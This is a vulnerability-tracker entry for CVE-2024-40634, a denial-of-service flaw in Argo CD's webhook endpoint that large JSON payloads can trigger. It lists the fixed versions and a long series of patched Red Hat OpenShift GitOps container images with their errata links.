CVE-2024-40634
highpriority · track · 30EPSS 0.014 · 72 %ileDEEURUUSEPSS · scored 2026-10-27
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.
remediations
Vendor fix, mitigation, or workaround guidance, as published by each source.
A vendor fix is available.
- Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:1597d12f5d487572ecd9afe88e512e1f620599a6a47312cdb0e5ea6fcc4c9b36_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:19f678df553293e30b56f28ed32e90f72648649a5d5b89c4be59dcf912c6e9fa_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:204979b5d35350c0f055d9203a6ba2260b3240a5ecee5f9bb43f5468076a69f3_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:7a90a484902bfc7148217914cd65f0a1d7e79218a238abc479a6d9ccef96f4cf_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:343c542d45bf52fda4742183d60422d36c15615105f990a180fee0b15dcd82d0_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:65bcc82d88275ce84eb21c2a88a6f4d32bbb8c5e28d34e7de4ee19cc3dddedac_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:8738e84b087318aa8b9a3d2fa851e018897af0b646de58cde3be0861c3a2b3fd_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:8814381fb164cc04ff0764a45c4ab36bbf95c64950c6667e78ba3b7dbef85a57_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argocd-rhel9@sha256:3cfd0ec979b85445f44648d03118591e3c87f6502a33e27812955151151a9654_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argocd-rhel9@sha256:47bf94148d5c374326ebf24e0a5e5a2eefd57f8cd55611e1b9bca787d5690992_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:01159dc5aad803a0812003320a9cca4b23a34e8b1d037dbe5437b064a41a5a33_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:5e2c4a47afa8f147b140abac309cdb1f6c92186170a0180f76acff3526557fde_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:a8399eae8d0e6810a1a340bb80df08ae49ff1c0eff4eea39c8c929ef5a5d6e37_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:f241386d6775eda56cc4965fc798b3c955c8ad37fbab5c0b9d2a047322df3c8c_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/dex-rhel8@sha256:63625a8587f9836d55817fbefce372cf294ce5ed3c7d0c4ca1738762aef0b892_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/dex-rhel8@sha256:7b5b7193324c2bf732cb5680b08344d80c6fc36f0994c7f672e8a494e02c5af6_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/dex-rhel8@sha256:94a08e73f086c275689d3b0da814f7cda6f011a991db0aa1312d3f025d866924_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/dex-rhel8@sha256:983356f0dbd9205281f335f3eb3fe2b6d9a82559d0329f622e3d309974fd7ef2_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-operator-bundle@sha256:b19fb714784fa74033214d26a368ec13b26452772c0c0384c569c266392234bd_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:25424a9311ba9557e8d07bb199a3bf4a341c5d86be36417728687b417c52cfbf_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:26796accb8e20fc14ea607742a828818cfad7d32a390f71c6cd9ea8e20079f85_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:738ad84244e4845d985d3f211f3bdc887b89ca562d54909042813c2291345ce2_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:f010f82179b4081c06c367227211252b1cdcf664b90da44a0cba15e0000f110a_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:4b1708affdaeb5e9916da886b1fe9819e2ff05950e462ce34222a426e66a581e_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:ba0877e9ea66210a3a47d33369919e425b3e39879832d0425971af56b04da716_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:bda876b4b557ab3e1a0a9d422d784eeb8bd830cb988932eb9b0f6388631ad738_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:e36a69825f19867f5f455816f9aca377ae0572f32729ab035b66adce8bcef70c_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:0c8ce44b0860558edb8e8cc27e9c54b92b34b6b3517f4f357455085eb3d9d30d_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:731ef52b2be3f011a77d153740e3eac09f84e5098f7fbf78584c399d498a9f8d_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:ca6139f39423508388f5f8493430113e343e41b4215560b48d7ccb088ab05f1a_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:fe61e21f90bdfa11451947a3f4ab59adc0e9056414ffdfdfedf7ad79a94c617a_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:5444ffeeeac5446b3212b06d99256e736048e876125fc65753ce6de9017c25fd_ppc64le as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:a20821b1e70daa6d6c89d477584ef65ec421eb0e76a9fca6d00e74d2bed620ef_amd64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:bfb27b8b743b72b93a8e92db93a11a589ee17cdef2d94bdfeeda4c79a20862c4_arm64 as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:ed9f5f7d1db149ff01c4d545728008ee9c0eee77b1f5feede99b68ba8b56c0fa_s390x as a component of Red Hat OpenShift GitOps 1.13redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4891 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:09a25a05e5d7e786beb2aeb2900cdf9d9b7318a87065539d818d48ca12097efb_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:31fadc4e401db9f7af9d06100dba0999525940a1ccb256dd0befcfd80f427c90_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:5b5783216e793d74aad31abaa18e644f21ce645e736c6e4faaf061c51ffced18_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:9ae9beb8a3c1c4ace3f2c37d230416cf52426816105a3b9ea759bb5b7de5547a_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:dbd4a26ceb74570bb3d3b4b9ef911f6d8c14c2affdd4627fcf666bdbf88b922b_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:ea0181fdffaea17edf31b32830075f33e5bd7e5e951fb12c7734a3beb5fb6a12_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:f209de3c136c821251fb8e892250c79ab47c02bc7b4f773b280aeef9acacbe41_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:fb0f944ef8c85fdd51e9d4ffa785217436989bb9388935392b9743f6c0157fb4_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:3f6354df560a086dd2d3d066bb316fa29b2f90409664352da5b4d5379b1bd59a_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:826924158016a472f215b2154a3b71b0bb45dcb5faee4009023a9ff91b80fbc7_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:b059fed1e6cbdfa744ca40f63eebd7852918e60f6e63a56e6c4c8b47cfb7297a_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:bef56e9030b779020fd4d424af1c4da8bcdf46a89d1d5505cacda5aba17b3f5f_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/dex-rhel8@sha256:07bd1d4c9625d632c25f9b26f5afab0a0b385a01ceda8262a20d63d9380363c0_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/dex-rhel8@sha256:aa363327f2abce3c55dd7343c1024d0f46826e8d4da66126e63181702542352c_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/dex-rhel8@sha256:c6339f1ca0a031eedc1f77755f84c10bc096603c62e4d41266c1f57c723a5fe8_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/dex-rhel8@sha256:d668d7dd535b8bd007d6d9c667a847aadd4184e60bff23c13710034d99b4cb78_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-operator-bundle@sha256:8d786bb519f9caa8c56b5a1de9bbfa92161f697644329114af3af5f324797787_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:16c13cf844a266006ca6242a13be9e5d3a1f57b561fbc0eb4fd22914a0297913_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:2da7b90a1c514f1d86d90b6f546c26480377d6f752deca9ae6bc3d23ff3bb991_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:7eed2ed5c7db8a702917e5f989a4742be3d0e63dc41a3ac6e2dd9d8a2ef586ec_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:f269a0edec8e132ca4a8bbc8c2fcec5bbe8b992c6f4fb731f4f457f0881e95eb_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:3adcc88984e8c288ecd8a0ae3b3a3dbf6e6d9260432bc934772060bd4d477d70_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:5de8d57c81bc70b3112cd331dfa701f1bc995eba8568a1cf71c4390538efaf06_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:b6ce0737682b89998c094db766d464eaac7717f4af6df87fb927d74892ac9056_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:f26223d724c39de4b86d1abf3db446b38fdcd7231323f8ffe34a11f2a4db033c_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:523305513ec6ea969620607c0bf5bea96eb192b14dec0d5660cbc28dae9f9552_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:71532e658e81a9daeb5d84c29851a56b8fe1b20f7a38bd3783002d0f3f611272_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:dfd515876281d0eeffa51ad725bda5c48da3a9225f5e577e41a0aec58614a582_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:f69026a41ac59c45855de3575b70fe94821f74686abf92125f9d0ef28918db9d_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:1f066935b3a9de1add896aa3c17da8918afd418669bb541a25b27708dd9752cd_s390x as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:3b669408440a2e15c285e62c20656198c7f0caecc04d2f10b4abcc649fddf887_arm64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:68edbdcbd72a6ccf7d07d04e148227673ad34c8add04d9ab4770f4bbf3937974_amd64 as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:c3b22b39fccff18999ae7c11ea239f8ca2189b18e8c9ab770e81c35ba6a02632_ppc64le as a component of Red Hat OpenShift GitOps 1.11redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4972 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:18b430d162405a964f846242be0c3b7014be4c33689a3a8743b44238c9d7fb75_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:5a9383d8434b4e435d87fa2cecef424f99474bd9a0cb4ea7f7ec503e5dcf0678_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:bdfbf535f858e2c2e1abb74c2d513bf5f970d105f7d7b9678adb4702934056db_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argo-rollouts-rhel8@sha256:cb95a31e6445ba30f6189fd8ff2ef6f75b37d7d5835ca168b0a4ea6f03678b1f_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:3bd5a449c9f9d8f36dcb190c5cf245c7700993a81cf44a65ef3bc3e23bbf1661_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:50d0f3f3f9fa326e666bd3d10925cf8b833db3d6d2dd74ddb892df038538505d_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:b2596687f550a204e1c0994583406f857faa1917a1e41561d6b154071c3ed63e_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argocd-rhel8@sha256:e4859aef6c26fbadaa45f4e37813977208f490f6f1c047621591ad6be30577b3_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argocd-rhel9@sha256:233b230e32fb38dfddc32ef3046568d80816031c9a6fcff8393448ba452d4f50_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/argocd-rhel9@sha256:c5cbc537b3079fc08d118434ac23e262d9e679adf4143d2be05009831bfa3e6f_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
